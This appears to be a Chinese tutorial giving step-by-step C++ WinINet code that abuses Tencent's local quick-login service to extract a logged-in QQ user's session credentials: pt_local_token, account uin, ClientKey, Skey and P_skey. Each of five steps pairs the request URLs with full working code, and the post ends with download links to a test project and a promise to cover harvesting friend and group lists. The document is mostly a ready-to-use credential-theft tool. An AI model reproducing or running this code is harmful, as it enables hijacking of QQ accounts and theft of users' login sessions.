本文主要通过利用腾讯网页快捷登录协议来模拟访问并截取已登录 QQ 客户端的Token、Uin、ClientKey、Skey、P_skey等。
Step 1、
https://ssl.xui.ptlogin2.weiyun.com/cgi-bin/xlogin?appid=527020901&daid=372&low_login=0&qlogin_auto_login=1&s_url=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&style=20&hide_title=1&target=self&link_target=blank&hide_close_icon=1&pt_no_auth=1
初始化地址、建立会话并发送请求,从返回的数据中查找pt_local_token的值。
浏览器中的数据(pt_local_token 的值在 Headers -> Response Headers -> Set-Cookie 中)
实现代码:
// 初始化URL URL_COMPONENTSA crackedURL = { 0 }; char URL_STRING[] = "https://ssl.xui.ptlogin2.weiyun.com/cgi-bin/xlogin?appid=527020901&daid=372&low_login=0&qlogin_auto_login=1&s_url=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&style=20&hide_title=1&target=self&link_target=blank&hide_close_icon=1&pt_no_auth=1"; char szHostName[128] = { 0 }; char szUrlPath[256] = { 0 }; crackedURL.dwStructSize = sizeof(URL_COMPONENTSA); crackedURL.lpszHostName = szHostName; crackedURL.dwHostNameLength = ARRAYSIZE(szHostName); crackedURL.lpszUrlPath = szUrlPath; crackedURL.dwUrlPathLength = ARRAYSIZE(szUrlPath); InternetCrackUrlA(URL_STRING, (DWORD)strlen(URL_STRING), 0, &crackedURL); // 初始化会话 HINTERNET hInternet = InternetOpenA("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (hInternet != NULL){ HINTERNET hHttpSession = InternetConnectA(hInternet, crackedURL.lpszHostName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (hHttpSession != NULL){ HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", crackedURL.lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0); if (hHttpRequest != NULL){ BOOL bRet = FALSE; // 发送HTTP请求 bRet = HttpSendRequest(hHttpRequest, NULL, 0, NULL, 0); if (bRet){ // 查询HTTP请求状态 DWORD dwRetCode = 0; DWORD dwSizeOfRq = sizeof(DWORD); bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL); if (bRet){ // 读取整个Headers char lpHeaderBuffer[1024] = { 0 }; dwSizeOfRq = 1024; HttpQueryInfo(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL); // 提取 pt_local_token 的值 char* pt_local_token = lpHeaderBuffer + dwSizeOfRq; while (pt_local_token != lpHeaderBuffer){ if (strstr(pt_local_token, "pt_local_token=")){ pt_local_token += sizeof("pt_local_token"); char* pEndBuffer = strstr(pt_local_token, ";"); *pEndBuffer = 0; break; } pt_local_token--; } // 关闭句柄 InternetCloseHandle(hHttpRequest); InternetCloseHandle(hHttpSession); cout << "[+] pt_local_token:" << pt_local_token << "\r\n" << endl; } } } } }
Step 2、
https://localhost.ptlogin2.weiyun.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.6694805047494219&pt_local_tk=pt_local_token
利用Step1获取的pt_local_token值构造地址并发送请求获取已登录的QQ uin。
请求需要带入Referer: https://ssl.xui.ptlogin2.weiyun.com/
端口从4301 ~ 4309(如本机只登录了一个QQ号,那必然会是默认的4301端口)
浏览器中的返回数据(在 Response 中)
var var_sso_uin_list=[{"uin":25XXXXXXX3,"face_index":525,"gender":0,"nickname":"XXXXXXX","client_type":65793,"uin_flag":8388608,"account":25XXXXXXX3}];ptui_getuins_CB(var_sso_uin_list);
实现代码:
/* 二次会话 */ //生成16位随机数 time_t seed = time(NULL); srand((unsigned)seed); CString szRand1 = "", szRand2 = ""; for (int j = 0; j < 16; j++) { switch ((rand() % 2)) { case 1: szRand1.Format("%C", rand() % 5 + 48); break; default: szRand1.Format("%C", rand() % 5 + 53); } szRand2 += szRand1; Sleep(50); } char *szRandNum = szRand2.GetBuffer(szRand2.GetLength() + 1); szRand2.ReleaseBuffer(); // 初始化URL参数 char lpszUrlPath[1024] = { 0 }; strcat(lpszUrlPath, "/pt_get_uins?callback=ptui_getuins_CB&r=0."); strcat(lpszUrlPath, szRandNum); // 追加16位随机数 strcat(lpszUrlPath, "&pt_local_tk="); strcat(lpszUrlPath, pt_local_token); // 追加pt_local_token // 建立会话 hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.weiyun.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (NULL != hHttpSession) { hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0); if (NULL != hHttpRequest) { // 发送HTTP请求,添加头信息 char lpHeaders[] = "Referer:https://ssl.xui.ptlogin2.weiyun.com/"; bRet = HttpSendRequestA(hHttpRequest, lpHeaders, strlen(lpHeaders), NULL, 0); if (bRet) { // 查询HTTP请求状态 dwRetCode = 0; dwSizeOfRq = sizeof(DWORD); bRet = HttpQueryInfo(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL); if (bRet) { // 获取返回数据的大小 DWORD dwNumberOfBytesAvailable = 0; bRet = InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailable, NULL, NULL); if (bRet) { // 读取网页内容 char* lpBuffer = new char[dwNumberOfBytesAvailable + 1](); bRet = InternetReadFile(hHttpRequest, lpBuffer, dwNumberOfBytesAvailable, &dwNumberOfBytesAvailable); if (bRet) { // 提取 QQ uin char* uin = lpBuffer + dwNumberOfBytesAvailable; while (uin != lpBuffer) { if (strstr(uin, "\"uin\":")) { uin += sizeof("\"uin\":") - 1; char* pEndBuffer = strstr(uin, "}"); *pEndBuffer = 0; break; } uin--; } // 关闭句柄 InternetCloseHandle(hHttpRequest); InternetCloseHandle(hHttpSession); cout << "[+] uin:" << uin << "\r\n" << endl; delete[] lpBuffer; } } } } }
Step 3、
https://localhost.ptlogin2.weiyun.com:4301/pt_get_st?clientuin= uin&pt_local_tk= pt_local_token
截取 QQ ClientKey
利用Step1获取到的pt_local_token与Step2获取到QQ uin构造地址并发送请求。
请求需要带入 Referer: https://ssl.xui.ptlogin2.weiyun.com/
浏览器中的数据(在 Cookies -> Response Cookies 中)
实现代码:
/* 三次会话 */ // 构造 URL ZeroMemory(lpszUrlPath, 1024); strcat(lpszUrlPath, "/pt_get_st?clientuin="); strcat(lpszUrlPath, uin); strcat(lpszUrlPath, "&pt_local_tk="); strcat(lpszUrlPath, pt_local_token); // 发送HTTPS请求 hHttpSession = InternetConnectA(hInternet, "localhost.ptlogin2.weiyun.com", 4301, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (NULL != hHttpSession) { hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0); if (NULL != hHttpRequest) { // 添加头信息 char lpHeaders2[] = "Referer:https://ssl.xui.ptlogin2.weiyun.com/"; bRet = HttpSendRequestA(hHttpRequest, lpHeaders2, strlen(lpHeaders2), NULL, 0); if (bRet) { // 查询HTTP请求状态 dwRetCode = 0; dwSizeOfRq = sizeof(DWORD); bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL); if (bRet) { // 读取整个Headers ZeroMemory(lpHeaderBuffer, 1024); dwSizeOfRq = 1024; bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS, lpHeaderBuffer, &dwSizeOfRq, NULL); if (bRet) { // 提取 ClientKey 的值 char* clientkey = lpHeaderBuffer + dwSizeOfRq; while (clientkey != lpHeaderBuffer) { if (strstr(clientkey, "clientkey=")) { clientkey += sizeof("clientkey"); char* pEndBuffer = strstr(clientkey, ";"); *pEndBuffer = 0; break; } clientkey--; } // 关闭句柄 InternetCloseHandle(hHttpRequest); InternetCloseHandle(hHttpSession); cout << "[+] clientkey:" << clientkey << "\r\n" << endl; } } } } }
Step 4、
https://ptlogin2.qq.com/jump?clientuin= uin &clientkey= ClientKey &keyindex=9&u1=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=40
获取 Skey 并提取 ptsigx 的值
利用Step 2的QQ uin与Step 3获取的ClientKey构造地址并发送请求。
请求需要带入 Referer:https://ptlogin2.qq.com/
浏览器中的数据(Skey 在 Cookies -> Response Cookies 中)
实现代码:
/* 四次会话 */ // 构造 URL ZeroMemory(lpszUrlPath, 1024); strcat(lpszUrlPath, "/jump?clientuin="); strcat(lpszUrlPath, uin); strcat(lpszUrlPath, "&clientkey="); strcat(lpszUrlPath, clientkey); strcat(lpszUrlPath, "&keyindex=9&u1=https://www.weiyun.com/web/callback/common_qq_login_ok.html?login_succ&pt_local_tk=&pt_3rd_aid=0&ptopt=1&style=40"); // 发送HTTPS请求 hHttpSession = InternetConnectA(hInternet, "ptlogin2.qq.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (NULL != hHttpSession) { hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", lpszUrlPath, NULL, "", NULL, INTERNET_FLAG_SECURE, 0); if (NULL != hHttpRequest) { // 添加Referer char lpReferer[128] = { 0 }; strcpy(lpReferer, "Referer: "); strcat(lpReferer, "https://ptlogin2.qq.com/"); strcat(lpReferer, "\r\n"); HttpAddRequestHeaders(hHttpRequest, lpReferer, -1L, HTTP_ADDREQ_FLAG_ADD); bRet = HttpSendRequestA(hHttpRequest, NULL, NULL, NULL, 0); if (bRet) { // 查询HTTP请求状态 dwRetCode = 0; dwSizeOfRq = sizeof(DWORD); bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL); if (bRet) { // 获取返回数据的大小 DWORD dwNumberOfBytesAvailablex = 0; InternetQueryDataAvailable(hHttpRequest, &dwNumberOfBytesAvailablex, NULL, NULL); // 读取返回的 Response 数据 char* lpBufferx = new char[dwNumberOfBytesAvailablex + 1](); InternetReadFile(hHttpRequest, lpBufferx, dwNumberOfBytesAvailablex, &dwNumberOfBytesAvailablex); // 输出 Response 数据 cout << "[+] Response Data:" << lpBufferx << "\r\n" << endl; // 从返回数据中提取 ptsigx 备用 char* ptsigx = lpBufferx + dwNumberOfBytesAvailablex; while (ptsigx != lpBufferx) { if (strstr(ptsigx, "check_sig?")) { ptsigx += sizeof("check_sig"); char* pEndBuffer = strstr(ptsigx, "'"); *pEndBuffer = 0; break; } ptsigx--; } // 构造 ptsigx URL CString szPtsigx = ""; szPtsigx.Format(TEXT("/check_sig?%s"), ptsigx); cout << "[+] szPtsigx:" << szPtsigx << "\r\n" << endl; delete[] lpBufferx; // 读取整个Headers ZeroMemory(lpHeaderBuffer, 1024); dwSizeOfRq = 1024; HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS_CRLF, lpHeaderBuffer, &dwSizeOfRq, NULL); // 提取 skey 的值 char* skey = lpHeaderBuffer + dwSizeOfRq; while (skey != lpHeaderBuffer) { if (strstr(skey, "skey=")) { skey += sizeof("skey"); char* pEndBuffer = strstr(skey, ";"); *pEndBuffer = 0; break; } skey--; } // 关闭句柄 InternetCloseHandle(hHttpRequest); InternetCloseHandle(hHttpSession); cout << "[+] Skey:" << skey << "\r\n" << endl; } } } }
Step 5、
获取 P_skey
通过Step 4构造的 ptsigx URL 建立会话并发送请求。
浏览器中的数据(P_skey 在 Headers -> Response Headers -> Set-Cookie 中)
实现代码:
/* 五次会话 */ char *u_Ptsigx = szPtsigx.GetBuffer(szPtsigx.GetLength() + 1); szPtsigx.ReleaseBuffer(); // 发送HTTPS请求 hHttpSession = InternetConnectA(hInternet, "ssl.ptlogin2.weiyun.com", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (NULL != hHttpSession) { hHttpRequest = HttpOpenRequestA(hHttpSession, "GET", u_Ptsigx, NULL, "", NULL, INTERNET_FLAG_SECURE, 0); if (NULL != hHttpRequest) { bRet = HttpSendRequestA(hHttpRequest, NULL, NULL, NULL, 0); if (bRet) { // 查询HTTP请求状态 dwRetCode = 0; dwSizeOfRq = sizeof(DWORD); bRet = HttpQueryInfoA(hHttpRequest, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwRetCode, &dwSizeOfRq, NULL); if (bRet) { // 读取整个Headers ZeroMemory(lpHeaderBuffer, 1024); dwSizeOfRq = 1024; HttpQueryInfoA(hHttpRequest, HTTP_QUERY_RAW_HEADERS_CRLF, lpHeaderBuffer, &dwSizeOfRq, NULL); // 提取 p_skey 的值 char* pskey = lpHeaderBuffer + dwSizeOfRq; while (pskey != lpHeaderBuffer) { if (strstr(pskey, "p_skey=")) { pskey += sizeof("p_skey"); char* pEndBuffer = strstr(pskey, ";"); *pEndBuffer = 0; break; } pskey--; } cout << "[+] P_skey:" << pskey << "\r\n" << endl; } } } }
至此所有数据已全部获取完毕,另外还有获取QQ好友、QQ群数据等等,下回再详细列举,如使用过程中有任何BUG或代码失效可以私信联系处理(有空的话)。
测试项目下载
【蓝奏云下载】(提取码:eh9v)
【百度云下载】(提取码:wqau)